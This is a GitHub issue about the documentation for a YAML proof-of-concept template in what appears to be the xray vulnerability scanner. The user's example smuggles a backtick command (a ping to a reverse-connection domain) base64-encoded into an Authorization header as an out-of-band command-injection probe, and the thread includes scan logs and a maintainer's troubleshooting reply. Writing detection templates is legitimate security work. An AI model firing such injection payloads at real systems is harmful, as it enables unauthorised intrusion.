Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Issue on docs #2

Open
NHPT opened this issue May 31, 2024 · 1 comment
Open

Issue on docs #2

NHPT opened this issue May 31, 2024 · 1 comment

Comments

@NHPT
Copy link

NHPT commented May 31, 2024

Path: /plugins/yaml/TypeFunc/exampleType/reverse

name: poc-yaml-test
transport: http
set:
  reverse: newReverse()
  reverseUrl: reverse.domain
  cmd: |
    "`ping -c2 " + string(reverseUrl) + "`:abc"
  payload: base64(cmd)
rules:
  r0:
    request:
      method: GET
      path: /
      headers: 
        Authorization: Basic {{payload}}
    expression: reverse.wait(5)
expression: r0()
detail:
  author: xxx
  links:
    - http://xxx.com

不会生成域名,运行无报错:
Enabled plugins: [phantasm]

[INFO] 2024-06-01 02:06:22 [phantasm:phantasm.go:114] found local poc ag\poc-yaml-ag-bug158392-rce.yml
[INFO] 2024-06-01 02:06:22 [phantasm:phantasm.go:185] 1 pocs have been loaded (debug level will show more details)
[INFO] 2024-06-01 02:06:22 [reverse:reverse.go:70] remote reverse server check passed
[INFO] 2024-06-01 02:06:23 [default:dispatcher.go:444] processing GET https://192.168.25.130:8888
[INFO] 2024-06-01 02:06:23 [controller:dispatcher.go:553] wait for reverse server finished
[] All pending requests have been scanned
[
] scanned: 1, pending: 0, requestSent: 1, latency: 136.00ms, failedRatio: 0.00%
[INFO] 2024-06-01 02:06:26 [controller:dispatcher.go:573] controller released, task done

@Jarcis-cy
Copy link
Collaborator

抱歉之前没看到issue,可以先查看https://docs.xray.cool/tools/xray/advanced/reverse
最后的检查阶段,看看有没有问题

如果反连服务器没有配置好,也可以试一下最新的xpoc0.1.0,支持直接使用dnslog

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants